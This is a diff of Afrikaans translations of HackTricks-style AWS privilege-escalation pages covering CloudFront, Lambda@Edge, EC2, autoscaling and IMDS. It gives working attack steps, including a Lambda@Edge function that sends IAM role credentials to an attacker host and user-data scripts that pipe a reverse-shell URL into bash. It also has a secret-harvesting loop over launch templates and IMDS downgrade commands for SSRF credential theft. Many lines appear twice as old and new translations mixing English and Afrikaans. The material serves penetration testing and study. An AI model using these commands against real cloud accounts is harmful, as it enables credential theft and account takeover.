3. **Kruis-rekening-beleid**: Hersien sorgvuldig SQS queue-beleid wat kruis-rekening toegang toelaat
|
||||
4. **Enkripteer DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide
|
||||
5. **Gereelde skoonmaak**: Moet nie sensitiewe data onbepaalde tyd in DLQs ophoop nie
|
||||
5. **Gereelde skoonmaak**: Laat nie sensitiewe data onbepaald in DLQs ophoop nie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+42
-42
@@ -6,9 +6,9 @@
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
'n Aanvaller wat `cloudfront:UpdateDistribution` en `cloudfront:GetDistributionConfig` regte het, kan die konfigurasie van 'n CloudFront-distribusie wysig. Hulle benodig nie regte op die teiken S3-bucket self nie, alhoewel die aanval makliker is as daardie bucket 'n permissiewe beleid het wat toegang vanaf die cloudfront.amazonaws.com service principal toelaat.
|
||||
'n Aanvaller wat `cloudfront:UpdateDistribution` en `cloudfront:GetDistributionConfig` toestemmings het, kan 'n CloudFront-distributie se konfigurasie wysig. Hulle het nie toestemmings op die teiken `S3`-bucket self nodig nie, alhoewel die aanval makliker is as daardie bucket 'n permissiewe beleid het wat toegang vanaf die `cloudfront.amazonaws.com` service principal toelaat.
|
||||
|
||||
Die aanvaller verander 'n distribusie se origin-konfigurasie sodat dit na 'n ander S3-bucket of na 'n bediener wat deur die aanvaller beheer word wys. Eerstens haal hulle die huidige distribusie-konfigurasie op:
|
||||
Die aanvaller verander 'n distributie se origin-konfigurasie om na 'n ander `S3`-bucket of na 'n bediener wat deur die aanvaller beheer word te wys. Eerstens haal hulle die huidige distributie-konfigurasie op:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
@@ -40,7 +40,7 @@ Dan wysig hulle current-config.json om die origin na die nuwe hulpbron te wys
|
||||
},
|
||||
...
|
||||
```
|
||||
Laastens, pas die gewijzigde konfigurasie toe (jy moet die huidige ETag verskaf wanneer jy opdateer):
|
||||
Laastens, pas die gewysigde konfigurasie toe (jy moet die huidige ETag verskaf wanneer jy opdateer):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
@@ -91,16 +91,16 @@ return response;
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Skep die malicious-function in CloudFront
|
||||
# Create the malicious function in CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Kry die ETag van die funksie in DEVELOPMENT stage
|
||||
# Get the ETag of the function in DEVELOPMENT stage
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Publiseer die funksie na LIVE stage
|
||||
# Publish the function to LIVE stage
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
@@ -135,45 +135,45 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Package the Lambda@Edge function
|
||||
# Pak die Lambda@Edge-funksie in
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Create the Lambda@Edge function with a privileged role
|
||||
# Skep die Lambda@Edge-funksie met 'n bevoorregte rol
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
@@ -182,7 +182,7 @@ aws lambda create-function \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Publish a version of the function
|
||||
# Publiseer 'n weergawe van die funksie
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
|
||||
```
|
||||
|
||||
```bash
|
||||
# Pas die opgedateerde distribution-config toe (moet die huidige ETag gebruik)
|
||||
# Pas die opgedateerde distribution config toe (moet huidige ETag gebruik)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Roep die funksie aan deur die distribution te versoek
|
||||
# Aktiveer die funksie deur 'n versoek na die distribution te stuur
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
|
||||
+50
-45
@@ -12,19 +12,19 @@ Vir meer **inligting oor EC2** kyk:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
'n aanvaller kan **'n instance skep, 'n IAM role daaraan heg en dan toegang tot die instance kry** om die IAM role credentials vanaf die metadata endpoint te steel.
|
||||
'n Aanvaller kan **'n instance skep wat 'n IAM role aangeheg het en dan toegang tot die instance kry** om die IAM role se inlogbewyse vanaf die metadata-endpoint te steel.
|
||||
|
||||
- **Toegang via SSH**
|
||||
|
||||
Start 'n nuwe instance met 'n **gemaakte** **ssh key** (`--key-name`) en ssh dan daarna in (as jy 'n nuwe een wil skep sal jy moontlik die toestemming `ec2:CreateKeyPair` nodig hê).
|
||||
Start 'n nuwe instance met 'n **gemaakte** **ssh key** (`--key-name`) en ssh dan daarin in (as jy 'n nuwe een wil skep mag jy die toestemming `ec2:CreateKeyPair` nodig hê).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **Access via rev shell in user data**
|
||||
- **Toegang via rev shell in user data**
|
||||
|
||||
Jy kan 'n nuwe instance laat hardloop deur 'n **user data** (`--user-data`) te gebruik wat jou 'n **rev shell** sal stuur. Jy hoef nie die security group op hierdie manier te spesifiseer nie.
|
||||
Jy kan 'n nuwe instance begin met 'n **user data** (`--user-data`) wat vir jou 'n **rev shell** sal stuur. Jy hoef nie 'n security group te spesifiseer op hierdie manier nie.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Wees versigtig met GuradDuty as jy die inlogbewyse van die IAM-rol buite die instance gebruik:
|
||||
Wees versigtig met GuradDuty as jy die credentials van die IAM role buite die instance gebruik:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potensiële impak:** Direkte privesc na enige EC2-rol wat aan bestaande instance profiles gekoppel is.
|
||||
**Potential Impact:** Direkte privesc na enige EC2 role wat aan bestaande instance profiles aangeheg is.
|
||||
|
||||
#### Privesc na ECS
|
||||
|
||||
Met hierdie stel permissies kan jy ook **'n EC2 instance skep en dit binne 'n ECS cluster registreer**. Op hierdie manier sal ECS **dienste** binne die **EC2 instance** waar jy toegang het, **uitgevoer** word en dan kan jy daardie dienste (docker containers) penetreer en **hul gekoppelde ECS-rolle steel**.
|
||||
Met hierdie stel permissions kan jy ook **n EC2 instance skep en dit registreer binne 'n ECS cluster**. Op hierdie manier sal ECS **services** in die **EC2 instance** waaroor jy toegang het, uitgevoer word en dan kan jy daardie services (docker containers) penetrate en **steal their ECS roles attached**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Om te leer hoe om **ECS-dienste te dwing om in hierdie nuwe EC2-instance uitgevoer te word** kyk:
|
||||
Om te leer hoe om **ECS services af te dwing om in hierdie nuwe EC2-instansie te hardloop**, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
As jy **nie 'n nuwe instance kan skep nie** maar die permissie `ecs:RegisterContainerInstance` het, kan jy dalk die instance binne die cluster registreer en die genoemde attack uitvoer.
|
||||
As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die cluster registreer en die genoemde aanval uitvoer.
|
||||
|
||||
**Potential Impact:** Direkte privesc na ECS roles gekoppel aan tasks.
|
||||
**Potensiële impak:** Direkte privesc na ECS roles wat aan tasks gekoppel is.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Soortgelyk aan die vorige scenario, 'n attacker met hierdie permissies kan **die IAM role van 'n gekompromitteerde instance verander** sodat hy nuwe credentials kan steel.\
|
||||
Omdat 'n instance profile slegs 1 role kan hê, as die instance profile **alreeds 'n role het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig.
|
||||
Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings **die IAM role van 'n gekompromitteerde instansie verander** sodat hy nuwe credentials kan steel.\
|
||||
Aangesien 'n instance profile slegs 1 role kan hê, as die instance profile **reeds 'n role het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
As die **instance profile 'n role het** en die attacker **kan dit nie verwyder nie**, is daar 'n ander ompad. Hy kan **vind** 'n **instance profile sonder 'n role** of **skep 'n nuwe een** (`iam:CreateInstanceProfile`), **voeg** die **role** by daardie **instance profile** (soos voorheen bespreek), en **koppel die instance profile** compromised aan 'n compromised i**nstance:**
|
||||
As die **instance profile het 'n role** en die attacker dit **kan dit nie verwyder nie**, is daar nog 'n ompad. Hy kan **vind** 'n **instance profile sonder 'n role** of **skep 'n nuwe een** (`iam:CreateInstanceProfile`), **voeg** die **role** by daardie **instance profile** (soos voorheen bespreek), en **koppel die instance profile** compromised aan 'n compromised i**nstance:**
|
||||
|
||||
- As die instance **het nie enige instance** profile nie (`ec2:AssociateIamInstanceProfile`)
|
||||
- As die instance **het nie enige instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2 rol (jy moet 'n AWS EC2 instansie gekompromitteer het en 'n paar ekstra permissies of 'n spesifieke instance profile status hê).
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2-rol (jy moet reeds 'n AWS EC2-instance gekompromitteer hê en sekere ekstra permissies of 'n spesifieke instance profile-status).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Met hierdie permissies is dit moontlik om die instance profile wat aan 'n instansie geassosieer is te verander, sodat as die aanvaller reeds toegang tot 'n instansie gehad het, hy in staat sal wees om inlogbewyse vir meer instance profile-rolle te steel deur die een wat daarmee geassosieer is te verander.
|
||||
Met hierdie permissies is dit moontlik om die instance profile wat aan 'n instance gekoppel is, te verander — as die aanvaller reeds toegang tot 'n instance het, sal hy in staat wees om kredensiale van meer instance profile-rolle te steel deur die een wat daaraan geassosieer is te verander.
|
||||
|
||||
- As dit **'n instance profile het**, kan jy die instance profile (`ec2:DisassociateIamInstanceProfile`) **verwyder** en dit **koppel**
|
||||
- As dit **'n instance profile het**, kan jy die instance profile **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **koppel**
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- of **vervang** die **instance profile** van die gekompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- of **vervang** die **instance profile** van die gekompromitteerde instance (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2 rol (jy moet 'n AWS EC2 instance gekompromitteer het en addisionele toestemming of 'n spesifieke instance profile status hê).
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2 role (jy moet 'n AWS EC2 instance gekompromitteer hê en sekere ekstra permissies of 'n spesifieke instance profile-status).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
'n aanvaller met die toestemmings **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **versoek** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\
|
||||
Sodra die instance geloop het, kan hy **steel die IAM role**.
|
||||
'n aanvaller met die permissies **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **request** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\
|
||||
Sodra die instance begin loop, kan hy die **IAM role** steel.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
'n Aanvaller met die **`ec2:ModifyInstanceAttribute`** kan die instansie se attributte wysig. Onder andere kan hy die **user data** verander, wat beteken dat hy die instansie kan laat **run arbitrary data**. Dit kan gebruik word om 'n **rev shell to the EC2 instance** te kry.
|
||||
’n aanvaller met die **`ec2:ModifyInstanceAttribute`** kan die instansie se eienskappe wysig. Onder andere kan hy die **change the user data**, wat impliseer dat hy die instansie kan laat **run arbitrary data.** Dit kan gebruik word om 'n **rev shell to the EC2 instance** te kry.
|
||||
|
||||
Let wel dat die attributte slegs **gewysig kan word terwyl die instansie gestop is**, dus is die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`** nodig.
|
||||
Let wel dat die eienskappe slegs **modified while the instance is stopped** kan word, daarom is die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`** nodig.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potensiële impak:** Direct privesc na enige EC2 IAM Role wat aan 'n geskepte instance gekoppel is.
|
||||
**Potential Impact:** Direkte privesc na enige EC2 IAM Role wat aan 'n geskepte instance gekoppel is.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
'n aanvaller met die permissies **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template version** skep met 'n **rev shell in** die **user data** en **enige EC2 IAM Role daarop**, die standaardweergawe verander, en **enige Autoscaler group** **gebruik** daardie **Launch Templat**e wat **gekonfigureer** is om die **latest** of die **default version** te gebruik, sal **opnuut die instances laat loop** wat daardie template gebruik en die rev shell uitvoer.
|
||||
'n aanvaller met die permissies **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **new Launch Template version** skep met 'n **rev shell in** die **user data** en **any EC2 IAM Role on it**, die default version verander, en **any Autoscaler group** **using** that **Launch Templat**e wat **configured** is om die **latest** of die **default version** te gebruik, sal die **re-run the instances** doen wat daardie template gebruik en die rev shell sal uitgevoer word.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2 role.
|
||||
**Potential Impact:** Direkte privesc na 'n ander EC2 role.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
'n aanvaller met die toestemmings **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **create a Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, dan **create an autoscaling group** vanaf daardie config en wag dat die **rev shell** die **IAM Role** steel.
|
||||
'n aanvaller met die permissies **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **create a Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, dan **create an autoscaling group** vanaf daardie config en wag dat die rev shell **steal the IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2-rol.
|
||||
**Potensiële impak:** Direkte privesc na 'n ander EC2 role.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Die stel permissions **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** is **nie genoeg om te escalate** privileges na 'n IAM-rol nie, want om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg **het jy die permissions `iam:PassRole` en `ec2:RunInstances` nodig** (wat 'n bekende privesc is).
|
||||
Die stel permitte **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** is **nie genoeg om voorregte te eskaleer** na 'n IAM role nie, want om die role wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg, benodig jy die permitte `iam:PassRole`and `ec2:RunInstances` (wat 'n bekende privesc is).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
'n aanvaller met die permission **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh key by 'n gebruiker voeg en dit gebruik om toegang te kry (indien hy ssh toegang tot die instance het) of om privileges te escalate.
|
||||
'n aanvaller met die permit **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh sleutel by 'n gebruiker voeg en dit gebruik om toegang daartoe te kry (as hy ssh toegang tot die instance het) of om voorregte te eskaleer.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na die EC2 IAM roles wat aan lopende instances gekoppel is.
|
||||
**Potensiële impak:** Direkte privesc na die EC2 IAM roles wat aan lopende instances geheg is.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
'n Aanvaller met die toestemming **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële konsole voeg**. As die seriële konsole nie geaktiveer is nie, benodig die aanvaller die toestemming **`ec2:EnableSerialConsoleAccess` om dit te aktiveer**.
|
||||
'n aanvaller met die toestemming **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh key by 'n seriële konneksie voeg**. As die seriële poort nie geaktiveer is nie, het die aanvaller die toestemming **`ec2:EnableSerialConsoleAccess`** nodig om dit te aktiveer.
|
||||
|
||||
Om aan die seriële poort te koppel moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien ken.
|
||||
Om aan die seriële poort te koppel, moet jy ook **die username en password van 'n gebruiker** binne die masjien ken.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Hierdie manier is nie baie nuttig vir privesc nie aangesien jy 'n gebruikersnaam en wagwoord moet ken om dit te exploiteer.
|
||||
Hierdie metode is nie baie nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord nodig het om dit te misbruik.
|
||||
|
||||
**Potential Impact:** (Baie moeilik om te bewys) Direkte privesc na die EC2 IAM-rolle wat aan lopende instances geheg is.
|
||||
**Potential Impact:** (Uiters moeilik om te bewys) Direkte privesc na die EC2 IAM-rolle wat aan lopende instances geheg is.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Aangesien launch templates weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** permissies hierdie misbruik om sensitiewe inligting te ontdek, soos credentials in user data. Om dit te doen, loop die volgende script deur al die weergawes van die beskikbare launch templates:
|
||||
Aangesien launch templates weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** permissies dit misbruik om sensitiewe inligting te ontdek, soos credentials wat in user data voorkom. Om dit te doen, deurloop die volgende script al die weergawes van die beskikbare launch templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -250,22 +250,27 @@ done
|
||||
```
|
||||
In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om na ander tipes sensitiewe inligting te soek.
|
||||
|
||||
Aangenome ons vind `aws_access_key_id` en `aws_secret_access_key`, kan ons hierdie inlogbewyse gebruik om by AWS te autentiseer.
|
||||
As ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie credentials gebruik om by AWS te autentiseer.
|
||||
|
||||
**Potensiële impak:** Direkte privilege escalation na IAM gebruiker(s).
|
||||
**Potensiële impak:** Direkte privilege escalation na IAM-gebruiker(s).
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
'n Aanvaller wat die vermoë het om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer EC2-instansie aan te roep, kan IMDS-beskermings verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata-endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instansie loop. As die aanvaller 'n SSRF in so 'n toepassing kan veroorsaak, kan hulle die instance profile credentials terugkry en daarmee pivot.
|
||||
|
||||
- Vereiste permissies: `ec2:ModifyInstanceMetadataOptions` op die teiken-instansie (plus die vermoë om 'n SSRF op die gasheer te bereik/veroorsaak).
|
||||
- Teikenhulpbron: Die lopende EC2-instansie met 'n aangehegte instance profile (IAM rol).
|
||||
|
||||
Opdragvoorbeeld:
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS-afgradering om SSRF credential theft moontlik te maak)
|
||||
|
||||
'n Aanvaller met die vermoë om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer EC2-instansie aan te roep, kan IMDS-beskerming verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata-endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instansie loop. As die aanvaller 'n SSRF in so 'n toepassing kan trigger, kan hulle die instance profile credentials onttrek en daarmee pivot.
|
||||
|
||||
- Vereiste permissies: `ec2:ModifyInstanceMetadataOptions` op die teikeninstansie (plus die vermoë om 'n SSRF op die gasheer te bereik/trigger).
|
||||
- Teikenbron: Die lopende EC2-instansie met 'n aangehegte instance profile (IAM role).
|
||||
|
||||
Voorbeeldopdragte:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -296,7 +301,7 @@ Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei to
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
ʼn Aanvaller met die ec2:ModifyInstanceMetadataOptions toestemming kan Instance Metadata Service (IMDS)-beskermings verswak — byvoorbeeld deur IMDSv1 af te dwing (waardeur HttpTokens nie vereis word nie) of deur HttpPutResponseHopLimit te verhoog — en sodoende die exfiltration van temporary credentials vergemaklik. Die mees relevante risiko-vektor is om HttpPutResponseHopLimit te verhoog: deur daardie hop limit (TTL) te verhoog, hou die 169.254.169.254 endpoint op om streng tot die VM se network namespace beperk te wees en kan deur ander processes/containers bereikbaar word, wat credential theft moontlik maak.
|
||||
'n Aanvaller met die ec2:ModifyInstanceMetadataOptions toestemming kan Instance Metadata Service (IMDS) beskerming verswak — byvoorbeeld deur IMDSv1 af te dwing (waardeur HttpTokens nie vereis word nie) of deur HttpPutResponseHopLimit te verhoog — wat die exfiltration van temporary credentials vergemaklik. Die mees relevante risiko-vektor is die verhoging van HttpPutResponseHopLimit: deur daardie hop limit (TTL) te verhoog, hou die 169.254.169.254 endpoint nie meer streng tot die VM se netwerk-namespace beperk nie en kan dit deur ander prosesse/containers bereik word, wat credential theft moontlik maak.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
@@ -306,7 +311,7 @@ aws ec2 modify-instance-metadata-options \
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
'n Aanvaller met die ec2:ModifyImageAttribute en ec2:ModifySnapshotAttribute permissions kan AMIs of snapshots met ander AWS-rekeninge deel (of selfs openbaar maak), en daarmee images of volumes blootstel wat sensitiewe data soos konfigurasies, credentials, sertifikate of backups kan bevat. Deur 'n AMI se launch permissions of 'n snapshot se create-volume permissions te wysig, kan die aanvaller derde partye toelaat om instances te launch of disks vanaf daardie hulpbronne te mount en toegang tot hul inhoud te kry.
|
||||
